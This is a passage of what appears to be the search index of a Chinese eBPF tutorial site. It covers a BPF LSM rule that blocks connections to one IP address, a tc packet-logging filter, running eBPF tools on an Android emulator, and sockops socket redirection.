对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"119","title":"LSM 概述"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程源代码，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"120","title":"确认 BPF LSM 是否可用"},"121":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"121","title":"编写 eBPF 程序"},"122":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"122","title":"编译运行"},"123":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"123","title":"总结"},"124":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"124","title":"参考"},"125":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"125","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"126":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"126","title":"背景"},"127":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"127","title":"tc 概述"},"128":{"body":"#include <vmlinux.h>\n#include <bpf/bpf_endian.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"128","title":"编写 eBPF 程序"},"129":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"129","title":"编译运行"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程二：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程二：Hello World，基本框架和开发流程"},"130":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"130","title":"总结"},"131":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"131","title":"参考"},"132":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"132","title":"在 Andorid 上使用 eBPF 程序"},"133":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"133","title":"背景"},"134":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"134","title":"测试环境"},"135":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"135","title":"环境搭建"},"136":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"136","title":"工具构建"},"137":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"137","title":"结果"},"138":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"138","title":"成功案例"},"139":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"139","title":"一些可能的报错原因"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"140","title":"总结"},"141":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"141","title":"参考"},"142":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"142","title":"http"},"143":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"143","title":"eBPF sockops 示例"},"144":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"144","title":"利用 eBPF 的 sockops 进行性能优化"},"145":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"145","title":"运行样例"},"146":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"146","title":"编译 eBPF 程序"},"147":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"147","title":"加载 eBPF 程序"},"148":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"148","title":"运行 iperf3 服务器"},"149":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"149","title":"运行 iperf3 客户端"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。当您选择了合适的开发框架后，如 BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以 BCC 工具为例，我们将介绍 eBPF 程序的基本开发流程： 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 